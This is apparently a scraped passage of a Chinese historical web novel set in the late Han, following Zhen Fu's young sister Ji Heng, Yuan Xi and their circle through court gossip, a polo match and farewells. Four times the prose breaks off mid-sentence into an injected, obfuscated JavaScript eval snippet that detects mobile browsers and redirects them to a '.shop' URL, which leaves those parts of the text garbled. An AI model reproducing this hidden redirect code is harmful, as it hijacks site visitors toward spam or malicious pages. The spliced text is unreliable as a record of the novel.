“放心,刘女君之所以对文夫人诸多挑剔,是因大公子并非她亲生,顺带着就冷落压制他的媳妇了。你若是嫁给了她最喜欢的儿子,三公子袁尚,即便一开始有所敲打,往后定会爱屋及乌的。至少要在文夫人面前抬一抬你。” “竟这般偏疼?” “是啊。可惜邺侯的发妻死得早,没好命享福,否则哪就轮到她了。”善印鄙夷道,“文夫人估摸心里也有恨,自己丈夫到底是袁家正儿八经的嫡长子,却被派去路途遥远的青州驻守,叫夫妇不得不睽离,多年分居两地;更憋屈的是,如今给自己气受的君姑都不是正经亲生的,碍于情面还不能发作,想想当真可怜。” “我听着,这家宅不宁,邺侯恐怕难辞其咎。” “邺侯志在天下,哪有功夫插手后宅,再者,枕边风吹上一吹,可不就容易犯糊涂了,哦,对了,我阿兄吃醉时曾偷偷吐露,往后怕是还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052425|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让三公子承继爵位呢。” “一屋不扫,何以扫天下?”季蘅笑了笑,又蓄意问,“袁府这样暗流涌动,那位二公子当如何?” 善印忖道:“二公子甚少在女眷跟前露面,只听闻也是个好相处的人,同几个兄弟的关系都很亲和,委实没什么野心抱负。刘女君对他虽好,但总显得淡淡的,平时更严厉些,不比对三公子那般宠溺。” 她似看出了些许端倪,又偏过头,咂舌打量,“不对啊,你今日怎么偏偏对二公子这般在意?” “兄长有心攀附此人,只听闻他是个柔茹暗弱之辈,窃以为算不得明主,故而多问问。” “喔,这我倒不懂,但家父随大公子长驻青州,叔伯兄弟也都与他走得更近些……罢了,还是不提这个了,邺城远着呢,我等女流何故替他们烦恼。诶,陪祖母素食多日,忽然想尝尝油荤了,早听说昆楼的鹅炙,堪称一绝。” 话已至此,季蘅能肯定,善印是不清楚步摇与手镯的巧合,倘若将这事的原委一应坦白给她听,恐怕只会叫人徒增烦恼。 天真有天真的好处啊,永远快快乐乐的,什么都不用过心,纷扰思虑自然也少了。 而袁熙长得也不像爱算计的人,文氏暂且还不熟,退一万步讲,她再胸有城府,至多只会做个顺水人情,必定不能是幕后拿主意的。 所以这事,二成是巧合,八成就是甄尧搞的鬼。 季蘅却不懂,这样做到底有什么意义? 她不免想起那天,甄尧临走前说的话,难不成是想暗示自己,其实袁熙很好,如果只把他当成一个普通人看待,忘却那些身份地位,单单听从本心,就能互诉衷肠,两情缱绻了? 或许吧,私视使目盲,如果季蘅完全不通历史,未必不会对袁熙动心。可是,事情已经走到现今的这一步,就没有那个如果了。 “你怎么了?”见她有些心猿意马的样子,善印关切问,“总有些心不在焉的。” 季蘅望了眼窗外,回笑道:“天渐渐暖起来了,我的心大约也像那枝梢的新芽,颤巍巍的。改日择个晴朗时候,咱们一块去踏春吧。” “好是好,得尽快了,前阵子收到书信,说阿父下个月会随大公子一同回邺城,我也得收拾收拾,提早回去了。” “袁谭?为何突然离了青州?” “不太清楚,许是邺侯想念长子了吧,又或者家中新近喜事?”善印笑了笑,“待我回去,若听得什么新鲜的、有趣的,定及时给你写信。” 22. 袁氏 邺城郊外,红红绿绿的两队人,正伏在马背上击鞠。 其中,当属三公子袁尚的乌孙天马跑得最快,几阵逆风扬尘后,便叫他轻易避开所有争球的敌手。 眼看这一人一马宛如离弦之箭,畅顺地长驱直入,所向无前,场边的兵士立即擂鼓鸣金相助,镗镗大响,雷霆呼啸犹胜千军万马。 “子京!”得意之余,他竟不忘回首挑衅,笑靥灿烂如火,“汝等缓如龟行,安能追及?” 话音未落,又反手用力一抽,将球直接击进了框里。 除却对垒方零星的嘘声,在场无不喝采,用最壮的声势去恭喜他们这位英勇的少将军夺下第一筹。 魏讽就像被劈脸啐了口唾沫,心中甚为愠恼,不禁丢去句揶揄的话:“当真是厉害啊,三公子何故又换了新马骑?” “什么好马孬马,分明是汝辈技不如人!莫要牵扯旁的!”袁尚哂笑,不复理睬那些酸言酸语,继而扯了扯缰绳,一夹马腹,转向远处看台上闲坐的二哥,态度有些傲慢地对他喊道,“今日若多赢五个,兄长定要请我去鸿楼吃酒啊!” 无心观战的袁熙正倚在树荫处消磨时间,听见弟弟如此夸下海口,不由挤出一个笑脸,随口应诺:“好,都依你。” 仲春时分,天气融畅晴好,人也懒洋洋的,无甚兴头。 随侍的小仆仓庚替他沏了碗热茶,不忘撺掇:“郎君们好生威风啊,公子您不上场一试吗?” 可惜袁熙生性淡泊,不爱与人相争,尤其面对自己的亲弟弟,素来是竭力隐藏锋芒的,至于小仆的提议,也只笑着摇头。 他这会儿有些走神,不知哪一处的花草、哪一刻的云朵微风,就让他浓重的思绪偷偷飘向了北方,飘往某位“绝世而独立”的佳人身上。 又过了半刻,这案头摆的茶和果盘仍置于原处,动也未动,场上的局面却已变得剑拔弩张,双方筹数咬得十分接近。 那魏讽到底也不好惹,有些脾气在身上:“三公子方才说什么技不如人,不错,赛有胜负,总要决出个天与地。” “好极了,就怕有人胆小如鼷,眼见败象显露,便想临阵脱逃!”袁尚被激得更加斗志昂扬,笑喊道,“看我如何叫你心悦诚服!” 场上热火朝天,场下的袁熙却愈发松腻,打了个哈欠,无意拈弄着手里的象骨扳指。 幸而没过多久,好友韩循兴致勃勃地走了过来,穿的也是短衣袍。 “二公子!” “子顺你来了,”袁熙终于恢复了点精气神儿,“怎么才来,尧兄还忙着?” 韩循大约是真的口渴了,刚坐下便咕噜噜饮尽那盏放凉了的茶水,然后用袖子擦了擦嘴角,叹道:“叔崖非浑说他是什么手无缚鸡之力的文臣,不爱打打杀杀,就不过来看三公子练骑兵了。” “那么他此刻在做什么?” “早前拜访了辛府,现下估计正躺在驿馆里睡大觉。” 袁熙想了想,还是觉得不妥:“一直住在驿馆也不像话,我之前替尧兄挑了几处宽敞朝阳的宅子,有空得领他亲自去看看。” “那事啊,他是彻头彻尾就没放在心上,”韩循笑道,“昨日我还问他,等嫂夫人平安诞下麟儿,不会还要依着你,一家人都住进驿馆里吧!?他居然恍然大悟般‘啊’了声,而后缓缓说,不急,不急,且得等夫人出了月子,再商量入邺的事,想来得到秋令之后了,何况家里的小妹念旧,有些不情愿搬来……” 闻此,袁熙竟失了一瞬的神儿,让那扳指不慎脱手滚远了。 机警的仓庚连忙跑去捡起,轻擦掉灰尘,再恭敬地交还给袁熙。 韩循见状,便问:“公子要去练箭?” 袁熙有些勉强地笑了笑:“是,一起?” “好啊,循自当奉陪!” 两人并肩去了射圃,而校练场上,马蹄声与拼搏叫喊声不断,袁尚又一次高举手中的长戟,向众人宣告他的威武。 春天,是朝气蓬勃、勇敢无畏的春天,每个人都该有一颗不屑掩饰的野心。 驿馆的窗外春光甚美,间或掠过几对聒噪的鸟儿,甄尧却安然睡着午觉,直到申时二刻,才饥肠辘辘地从好梦中醒来。 于是匆匆喊观杏先下碗卤面给他垫肚子,边吃,边倚在窗边看文书,只随意披了件薄衫,好不随性。 “郎君。”成禄忽叩门,递来一捆木牍,说是家书。 “昨前不是才收到阿婉寄来的信……”甄尧有些狐疑,直至瞥见封检上钤了朵精致的金色凤尾印,才豁然明了,无奈笑着摇摇头。 正端详着,未料又有贵客来访了。 “尧兄好生安逸啊。” 是袁熙,特地带了一壶老酒和一捆烤鸭肉登门。 “你怎么来了?正巧了!” “巧是巧,我方才请三弟在鸿楼消遣,也给你打包了些,来,尝尝老师傅的手艺。”他把东西交给成禄后,入席安坐。 “多谢多谢,”甄尧笑弯了眼睛,“不过,我说的巧,其实在这儿。” 说着把那尺牍递给对面的袁熙看,“且看到最后。” 上面的小字稚嫩又规矩,但内容嘛,前头是正经的叙家常、报平安,后面就有些奇怪了—— “还有一事欲问之,某步摇及金镯,阿兄知其实否?汝何意耶?无诳!弥儿再拜,即请偏安。” 袁熙一字一句仔细看完,最后轻轻笑了,他将信凑到鼻尖,还能嗅到一丝残存的淡淡香气,仿佛女子伏案提笔的场景就浮现眼前。 “是之前的生辰贺礼,那个红宝石?她可还欢喜?” “哎,喜欢得紧啊,尤其穿绛色衣裳的时候总会戴着。” 如此,他便高兴了,说:“我瞧见那首饰的第一眼,就想着弥儿,没人穿红色比她更好看。” 又垂下眼眸,喃喃补充了句,“其它颜色亦是。” 甄尧看在眼里,听在心里,有些欣慰,袁熙当真是个佳婿,上天若能玉成这对姻缘,也是自家妹妹享了福。 他打趣抱怨:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052426|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜啊,明明是公子你的一番心,她现在却疑忌我这个阿兄从中作梗!” 袁熙忙问:“她生气了?” “嗯,这不,大老远还找我要解释呢。” “怪我自作主张了。因是在大嫂常去的首饰铺替她挑生辰礼的,也看中了那柄步摇,没成想,已经被早早订下。细问后才知道,偏有这般巧的事,大嫂帮辛家女挑的,竟就是送给弥娘的。我心下感喟,倒真是命中注定了,便擅自请匠人再打造对镯子相配。一样辛氏送,一样由我来送……” 甄尧强忍笑意,干脆把笔递过去:“这么多话,你自己写。” 袁熙当真欲接,却又迟疑地收回了手,只是坐端正了,正经道:“我的字潦草不堪,跟狗爬似的,可别污了她的眼睛。还是容我先练练,之后再细致写一次。” 瞧他较真的模样,甄尧终于不由笑出声:“罢了,我看今天谁也不用写,等弥儿来了邺城,你再当面告诉她,岂不更好?” “好归好,”袁熙仔细回忆了很久,忽然想到了什么,莫名觉着好笑,“可你妹妹似乎很怕我。” 记得那日在韶园,是他们第一次面对面遇上,季蘅还是那样,一直恭敬低眉,目不斜视地盯着瑶踏的花样,连问安都只张张嘴发出个蚊子声。 甄尧轻哼了一声,心道,装的,她是怕你看上自己,这鬼机灵的丫头贯会装幌子了。 嘴上却说:“她啊,认生,见到外男有些害羞,等你们多相处几回,熟悉了就好。” “那她何时能来邺?” “不急啊,好事从来多妨碍,五妹又那样拗,当如攻城,徐徐图之。” 甄尧最是清楚这个幼妹的性情,一股倔劲儿,又爱犯犟,常常反其道而行。多年前他也有一样的脾气,但表现得更高明、更市侩些,所以容易得逞。譬如,就曾借着甄薛两家订亲,哄骗母亲允许他外出游历一年。 这事现在还会时不时被霍逦当话柄,拿来嘲笑他:起初是谁死活不肯早早成家,现在就该谁最惧内。 “攻城?你这个浑兄,当真口无遮拦,倒乱比喻在自家妹妹身上了。”袁熙笑着摇头,忽又想到什么,“不过,说起攻城,父帅今年是要继续讨伐公孙瓒了,不仅将大哥从青州招回商讨,甚至假托君命锡赐乌桓诸部落印绶①。哦,听闻那公孙瓒修壕沟、堆土台,灰溜溜躲进个五六丈高的堡垒藏身,以铁铸门,无人可近身②。我看他就像只躲进了甲壳里的王八,和也不和,战也不战的!” “公孙瓒大势已去,想必袁公是有十成的把握,”甄尧却欲言又止,“只不过这南面……” 两人旋即相对一眼,谁都没有说破。 近些年来,曹操假天子名义,或缔交诸侯以为己助,或兴兵诛除异己之徒,纵横捭阖,威势渐显于中原,实在不容小觑。 沉默半晌,袁熙顿了顿,最后叹道:“如今也不敢想那么长远,先得拿下公孙瓒的幽州,如此,黄河以北尽将归属我父,再无后顾之忧。至于南边的事……还需从长计议。” 23.楚夫 季蘅穿着蓝白系裳裙的时候偏爱配搭珍珠首饰,那天,她正叠戴这样一串莹润的珠子,在襄玉坊后边的碧霄阁练响屐舞。 可能动作幅度太过用力,手串的绳突然就断了,些许珍珠不幸散落。 实在不像什么好预兆。 原本趴在案头打瞌睡的细宝猛乍清醒了,连忙扯了块巾帕,要挨个儿去捡,却没成想那数十颗如红豆般蹦蹦哒哒的小玩意,几乎大半都滚到了一处。 季蘅见状,也好奇地往前走了几步,木屐踩上去的地方果然略软塌,仔细瞧,此处确有些凹陷了,遂尔遗憾道:“哦,竟是这儿腐透了。” 席边的玄矶倒不纳罕,只顺手换了卷账簿,笑应:“珠子自然是往低处聚的,可我们人都要拣着高枝飞了才好啊。” 想来她早就发觉了,只因不久后襄玉坊将迁往邺县,毋极这边的房屋大抵也不用再浪费钱财和精力去修葺的。 “你们几时走邺城?”暂歇的季蘅抿了几口白水,捧着小盏问。 “定下了三月初四。” “这么匆促?” 玄矶这才抬眼望她:“你是知道我的,行为处事最讨厌磨蹭,早一日将事儿都经办妥当了,这颗心也能早些安稳放回肚子里。” “才送走兄长、善印,如今连你也要去邺城了,总归有些舍不得。”季蘅吩咐细宝把散落的珍珠收好,又坐到玄矶身边,语气略带抱怨地撒起娇来,“你们就像那些珠子,不顾我,径自聚到别处了。” “什么话,等薛夫人平安生产了,你也来啊,咱们早晚总是要到邺城再见的。” “我当然会去,邺城也好,许昌也罢,还有洛阳、长安……天下如此之大,我哪儿都想去看看。” 闻此,玄矶便不接话了,只当她是小儿心性,总有一些不着调的念想,也懒得泼冷水。 季蘅继续说:“那边你们人生地不熟的,又要从头做起,万事当小心。” 玄矶却笑了,既欣慰眼前人的关心,也笑她的天真:“勿忧虑,但说这路上就有袁二公子一句话的打点,必然是畅通无阻的。” “他们倒没白来饮酒。” “还是要多谢你家兄长了,这趟去邺城,有他居中牵合,可算半个头功。” 季蘅支着下巴,从食盒里挑了颗干果吃,漫不经心地咕哝:“可邺城到底是毋极比不了的,那里达官显宦太多,恐怕从此要夹着尾巴做人。不过,再难了,做人也比做鬼强。” 说完,她长舒了口闷气,又恢复了往日的笑颜:“练累了,我想去园里转一转,往后上了锁,再见不着这样美的景色了。” “好,”搬离苦心经营四年的毋极,玄矶肯定会有不舍的,只道,“弥儿也替我多看几眼,晚些时候饭菜备齐,再传小婢唤你。” 襄玉坊最近已经谢客了,左侧门一条甬路所通的院子正是玄矶他们的住处,名叫留仙园。 这里住的人几乎都是色艺兼备的,多有一口傲气在,比如擅弹琵琶、有副好歌喉的赵南屏,她就自诩为碾入泥尘的绿萼仙,瞧平辈同侪几乎都是拿鼻子看的。 不知不觉,季蘅独自走到一处矗立的望楼附近,正准备登阶去眺几眼好风景时,隐约听见某段熟悉的曲乐。 说熟悉,却又不是那种能脱口叫出名字的经典曲子,好像从前只听过一两回,但因清耳悦心,被她深深嵌进了脑海里。 仔细回想片刻,她顿然发觉,这就是正月里在泰阿阁听见的笛声啊,几乎一模一样! 可谢容允早已离开毋极去往兖州了,况且这园子也不允许外男随意进入的……难道说,那天在家听见的笛声并非出自他?而是此刻所奏之人?该是他将此人带进了甄宅? 边猜想,季蘅提着裙摆,拾级而上。 慢慢的,先瞧见一角被风吹起的黑袍,再就是未绾未束、肆意披散的长发,左耳似乎簪了朵洁白素雅的栀子,那人抚琴时,永远直挺着瘦削的背。 是陌生的背影,她有些不敢打扰,便停在了阶口。 未料那人也停了,纤细修长的手颤巍巍空悬着。 “甄娘子。” 听声音,竟是个男子,他甚至没有回头,便猜出了来人。 “您又大驾光临了。” 季蘅不免有些意外,顺了顺心绪,客套道:“这曲子弹得动听,情真意切,忧而不伤,像是思乡的鸟儿……无意叨扰,我听入迷寻着声就过来了。” 他连忙侧身,面对拘谨坐下的季蘅,笑问:“娘子也懂音律?” “不懂,只是偶尔喜欢听。” “娘子谦虚,此曲正是小人去岁深秋独登少室山所作,见群雁南向,动情写下,名曰《万雁行》,正是思乡之意;所谓高山流水少知音,娘子一听竟了然其中,实乃小人福分。” 歪打正着。 季蘅有些心虚地撇了眼琴弦,她胡乱猜的,哪懂什么音律,小时候倒是被妈妈逼着考过几年钢琴的级,不过半瓶水响叮当。 那人又笑问:“娘子还想听什么?小人皆可一试。” 他是极具职业素养的,模样也俊,只是表情中掺着隐隐油水。 季蘅有些反感这种虚伪的献媚,甚为失望,只问:“你怎会认得我?” “甄娘子是贵客,生得又这般美貌,我等自然一眼就认出了。” “你认识我,可我却不认得你,倒是不妥。你叫什么名字?” “失礼。小人姓白,他们都称之为优白,可我总觉得不够亲昵,希望您可以唤我的名字——楚夫。” 哦,原来叫白楚夫。 季蘅记住了这名字,而后量了他一身黑,喃喃打趣:“白楚夫,知白守黑。” “知其白,守其黑,和其光,同其尘。①”白楚夫摆手一揖礼,千欢万喜地应答,“小的姓白却喜穿黑色,正是这个理!” 倒是个夸张的自来熟,季蘅略显尴尬,继续问:“你是不是来过甄宅?” “是,公子们都喜欢听小人逗乐。” “你会吹笛吗?” “会,只是今日专心谱琴,没有随身携带竹笛,还请娘子见谅。” “无妨。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062560|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那天的笛声果然出自他。 如此,季蘅一时也没什么想问的了,她望着白楚夫的脸,不知有没有傅粉施朱,那是种雌雄莫辨、很入俗的漂亮,如果不那么做作的笑,倒可称之为美人面;也许是生活所迫,打小就得学着涎脸钻营…… 瞧他努力得有些可怜,这心里的反感竟少了几分。 望楼上的风渐渐大了,将女子的鬓发也吹得微乱,她平静道了句:“真好,你们都该适合邺城的。” 语毕,便不再理他,自顾自站起身,趴在那红阑干上俯眺。 那里绿野葱郁,茫茫好山色,春天的黄昏有莹莹落日,像一颗溏心蛋,是橘色的,几只飞鸟伴着温软的风,掠过厚实的云层,让人惬意。 明明很美好的场景,白楚夫却奇妙地想起了一句惆怅的诗:人生天地间,忽如远行客②。 他那僵在脸上的笑,好似慢慢裂开,抖落一节节土块,像泪痕,沿着他光滑的肌肤,最后从嘴角曳沉了下去。 又抬了抬眼,他望着季蘅的背影,心头浮现落寞之感,风轻轻吹向这个女子,好似有碎玉相击、银铃晃响的声音,他还听见,砰砰,是自己寻常但愈发清晰的心脏跳动,砰砰,砰砰…… 该是段怎样的旋律,他慌忙抬手,指尖在颤抖,又试探地拨了拨琴弦。 而季蘅已经闭上眼睛,深深吸了口气,她感受到天地的寥阔旷荡,假想自己变成一只自由的鸟儿,沐浴着夕曛和泠风,穿过连绵不绝的青翠山峦;她控制不住地微微往下倾…… “甄娘子!” 远处,好像有人在唤自己。 季蘅猛地回过神,下意识抓紧了危槛,再睁眼,世界仿佛刚从海里打捞起来,浸湿了微蓝色。 “娘子,坊主请您到蓬莱间用膳。”说话的侍婢名叫旷儿,刚爬上这座望楼,正站在阶檐处。 “好,辛苦你通传,我随后就来。”季蘅左右寻了几眼,已不见白楚夫的踪迹,也不知何时悄无声息地抱起琴离开的。 等到晚膳再见玄矶,便不住向她询问这个优白。 “怎么突然问起他了?阿楚虽有些巧言令色,但总归是个有才华又听话的好孩子。” “方才撞见他弹琴,曲调很动听。” “那是自然。技艺倒其次,谁又能比得过他情意绵绵。”玄矶往季蘅碗里夹了片腊鹅肉,“南屏、遏云弹唱的曲子多是求他写的,喜欢听的人很多。大伙儿偶尔打趣还唤他作大司乐。” “是个奇人。” “什么奇不奇的,起初谁不是为了混口饭吃,属他存有别样的心思,想混出个名堂。可天底下哪有这么容易的事,单单说一个人才华横溢,也是全然不够的,还需一点点机缘。” “多好,但愿他能如愿。”季蘅情真意切地感慨。 玄矶微愣了愣,遂抿笑道:“有梦固然很好,可惜极易招致痛楚。” 季蘅却不以为然:“较之于浑浑噩噩度完余生,一些挫折又算得了什么。”她欢畅举起杯盏,向玄矶敬去,“祝天底下的有梦之人,皆能如愿以偿。” 24.雨晴 一场绵绵春雨过后,霁风斋变得崭新而潮湿。 某间窗下的一处低洼,周遭只有少许青苔,孟觉苦怕长久以往会形成烂泥堵塞,滋息孑孓,便找来半截竹篙,这会儿正蹲在那边凿口疏通,要将积水淌出去。 季蘅趴在窗台上,百无聊赖地往下瞧。 瞧他认真专注做事的模样,虽有些狼狈,但就像汀渚的鹤,爪子尽管脏兮兮的,羽毛却始终洁白;又似那湖沼的莲,出淤泥而不染,水佩风裳…… 不住莞尔:“孟觉苦。” “嗯?” 他没抬头,只含糊地应了这一声。 季蘅却很满意,怡然自得地躲回窗下的书案,隔着面墙,背对着他。 她眨了眨眼睛,有点古怪:“你现在的样子格外好看。” 闻此,孟觉苦果然木愣了半刻,下意识抬高眼檐,又很快盯回那泥坑。 若放在以前,他多半会自满得脸热,但现下不知看破了红尘还是人心,只显得十足漠然:“什么样子?” “遭苦受难的样子。” 孟觉苦有些无奈,却不意外,自打与季蘅混熟后,就习惯了她偶尔冒出的浑说,并非完全逗趣儿,还掺着或多或少的走心。 “那你欢喜吗?” 季蘅略歪了歪头,盯着矮桌上的图,不知想起了什么,忽而尖溜溜笑出声:“一半一半。” 这种情绪无关风月,更加纯粹,大概就像有次看雁弩她们打桂花,地上兜了油布,有的拿起竹竿敲,有的直接抱着树干摇,季蘅微扬着脸,沉浸在浓郁甜蜜的香气里,却很快被大片抖落的金桂砸得生疼,她不禁皱了皱鼻子,跟着大家一起放肆大笑起来。 孟觉苦早已适应,对于诸如此类奇怪的言论,也没再反驳或追问,继续他手中的活计。 屋里的动静渐渐轻了,只剩竹片窸窸窣窣的碰触声。 又过了半刻,卢宽背着个铁锹,从外头走进来:“阿孟,你先歇会儿,这里交给我就好。” 孟觉苦点点头,去小池边洗手,旁边石砌的矮柱上放了个鱼洗铜盆,他顺便掬水净了净脸。 等再进屋,窗下早已没了人影,只杂乱堆着几摞书简。 “你这些书还看吗?” “别动!”季蘅这才从层层书架间现身,杏红色的裙摆飘飘然,就像条小鱼儿,轻快地游走在波动的水草之中,她很快又抱了几卷回来,“我自己来。” 边问,“对了,你可懂琴谱?” 孟觉苦摇头:“我是行军打仗的粗人。” 季蘅有些遗憾地叹了声气:“临去邺城前,白楚夫写了首曲子送我,可惜我不擅抚琴,现在还不清楚这曲子正经的调子是什么样的。” “白楚夫。你倒很快就能认识新朋友。” “这算哪门子的朋友,不过,若曲子够好听,来日再见他,我会回赠一些金灿灿的小玩意。或许一来二去,真的就能成为朋友了。” 孟觉苦想了想,不由笑道:“少年时,我亦想结交四海豪杰,朋侪遍布天下,一呼百应。可后来又觉得,人生在世,有知己一二便足以,无需如此浮杂。” “那你的朋友到底多还是不多?” “以前有不少,可我如今孤身一人,什么也没有了。” “怎么没有?”季蘅不假思索,“孟硕他们是你的家人,若放低门槛,我们常有话聊,也能算作朋友。” 孟觉苦先是一愣,而后舒坦地笑了:“那多谢你。” “可不是白白讨好你的。等曹司空哪天得了冀州,你的好日子还在后头,我也等着沾光。” “你未免太小看袁本初了。” 季蘅却轻蔑地瞥了他一眼:“就知道你现在不信,过几年再看吧。” 过了会儿,又轻声地试探问,“你以前,跟那个曹丕熟吗?就是曹司空与夫人卞氏所生的第一子。” 孟觉苦则愕然反问:“难不成你很熟?” 那确实是单方面的有点熟,季蘅一口气憋在心里:“罢了,天机不可泄露,懒得多指点你。” “并非我不想信,实在有些荒谬,不若先胡乱猜个近的,譬如薛夫人肚子里的孩子是男是女,也好给我编一个信你的理由。” “这我哪知道!” “这个问题,至少能猜对一半吧?”孟觉苦果然是不信的,才这样在逗她。 季蘅略气恼,直言:“那我就‘编’个近的,不久后吕布将进攻小沛,刘玄德败走……” “众人皆知吕刘必有一战。” “我还没讲完呢,之后,玄德公会短暂地投奔曹司空,而吕布活不过今年冬天。” 孟觉苦这才将信将疑地望向季蘅,却听她继续说:“若我都说对了,你可要答应我一件事。” “何事?” “这个嘛,我还没想好,你先应承下。” “好,”孟觉苦找了一处宽敞的位子,提起笔,掭了掭墨,“我给你记到年底。” “你要写什么?” “给尧郎君写的信,他命我每逢朔望都写一封寄去。” 季蘅若有所思地眯眼打量他,忽问:“那你该不会要写关于我的事吧?” 孟觉苦很诚实:“有的。” “比如?” “比如你前日独自去胥夷山泡汤,昨日送完玄坊主出城,又到咏鸾街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080992|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 购置胭脂……总之,凡我所知,绝无虚言。” “不是,你这人也太实诚了吧,什么都往外说,以后我哪敢再带你出去玩了!” “郎君最了解你,若说你乖乖待在绣闼,整日闭门不出,他怕是不太肯信。” 季蘅无奈妥协,甚至主动替他研起墨:“那以后写完,都给我看看,也好帮你润色一二?” “好。” 这项工作孟觉苦完成得很轻易,他扶袖,低头书写的模样就像文人雅士在潜心勾勒作品,任谁也想不到其中的内容竟是打琐碎的小报告。 季蘅一边研磨,一边支颐呆望着,忽见他鬓边似有水渍,也没多想,拿起绢帕,伸手轻擦了擦。 墨汁,沉默地滴落在了竹简之上,晕开朵黑色的云。 孟觉苦整个人微微僵硬住,一时竟不知如何动笔了,他抬眼,有些困惑地盯向季蘅。 对方却自若收回手,雍容迎上那略显局促的目光:“怎么,这种事你也要如实告诉甄尧吗?” 小娘子得意轻笑,并将身后遮藏已久的木匣搁在桌案上:“我闲时无聊,给你的玉玦打了个宫绦。祝属于孟觉苦的第一个生辰,快乐健康顺遂。礼轻情意重,可不要嫌弃不够精致。” 甚至没等对方应答,她便抱起几卷书,潇洒离开了霁风斋,留下一句,“明日再会。” 廊下的铃铛杂乱无章地响动。 孟觉苦看着木匣,又望了眼写废的竹简,最后只好停下笔。 “五娘子,风筝都扎好了,晚些时候给您送到繁柯院。” “太好了,多谢你卢宽。” …… 声音越远越轻,他木然瞧了眼窗外,雨过天晴,那片蓝,洗得明亮澄净,空气中还有股好闻的泥土馨香。 这样的天气让人心情舒畅,忽想起昔年的某个明媚春天,大约同景湛如今一般年纪,他骑着一匹矮马,踏在落红满地的郊外小道。 也是这样的香气。 阿兄!—— 同样年幼的妹妹竟然赤着双足,抱起大束的花,奔跑在田间。 你怎么会在这,华儿? 可舜华越跑越远,日光把她的影子拉得很长。 孟觉苦死死盯着那影子,直到它扩散在前方,融入一个男人的脚下。 是阿父的背影。 不算高大但沉稳坚毅。 天色渐渐变得灰暗,他的父亲却似镀了一层薄薄的金光,看上去离自己更遥远了,怎么追也追不上。 轰隆一声巨响,四周拢起硝烟,火光瞬间染红了半边天。 他好像从一片嘈杂的厮杀声中听到了自己绝望的呜咽。 25.放风 孟觉苦还没等来吕布死讯和赌约的讫成,便打定主意,要离开毋极远游了。 他告诉季蘅,近来夜里常做噩梦,梦到宛城那场火,也梦到了浑身是血的典韦将军。 季蘅至今还未梦过任何有关战争的场景,或许因为她一直住在毋极,这里非常安宁,远离纷争,平和得就像世外桃源。 “你要去哪里?” 头仰得有些累了,可她很开心,她的青雁吃住了风,扶摇直上,正自由翱翔在高高的天际。 孟觉苦思忖半晌,答:“可能先回家看望阿母,了结一些旧缘。” “那你还会回来吗?” 他笃定道:“当然。这条命是孟父孟母从鬼门关捡回来的,往后该我奉养他们。” 季蘅坚信这并非虚与委蛇的遁词,他说要离开,意味着暂离一阵子,如果哪天什么也没说就消失了,那才是真正的永别。 “你梦到典韦了。” “是,将军生气的时候,眼睛瞪得又圆又亮,叫人很难忘干净。” “听闻曹司空把他的尸首葬在了襄邑。” “我会去敬三炷香。” 季蘅目送属于她的青雁越飞越远,都快变成一个黑点了,看不太清,心里是既高兴又羡慕,喃喃道:“我也想去。” “你还小,现在恐怕不能。” “但总有一天吧。” 她最后惆怅地朝对方笑了笑,孟觉苦的腰间正系着自己亲手打的灰蓝宫绦。 “这次我就不亲自送你出城了,我实在讨厌分别。” 青雁的盘轮握在自己手里,哗哗哗,转动得欢腾。 “飞得够远了,双儿!” 缦双连忙拿了把剪子过来,熟练地将丝线绞断——大家都管这叫放晦气。 那风筝仿佛化作了真鸟,在蓝瓦瓦的天空悠悠转溜了好几圈,才往下落,最后消失在茫茫山野那边。 孟觉苦也像只鸟儿,很快飞走了,他平时就是那样的岑寂,他的离开好像并不会给霁风斋带走什么,大抵就像从池塘里舀出一瓢水,从荒漠中吹走几粒沙。 季蘅还是会在接下来的日子,重新感到孤独,时而思念这位朋友。不过,生活仍在继续,一切似乎都没有变。 最近的风刮得好大,她贪凉,午后垂足坐在廊前石阶的蒲团上,慢慢啖完一盘柿饼。 障子拉得半开,左右各悬了对镂空花鸟银薰球,兜有温和安神的檀香,细宝贴心端来一小卮温过的杨梅浸酒解腻。 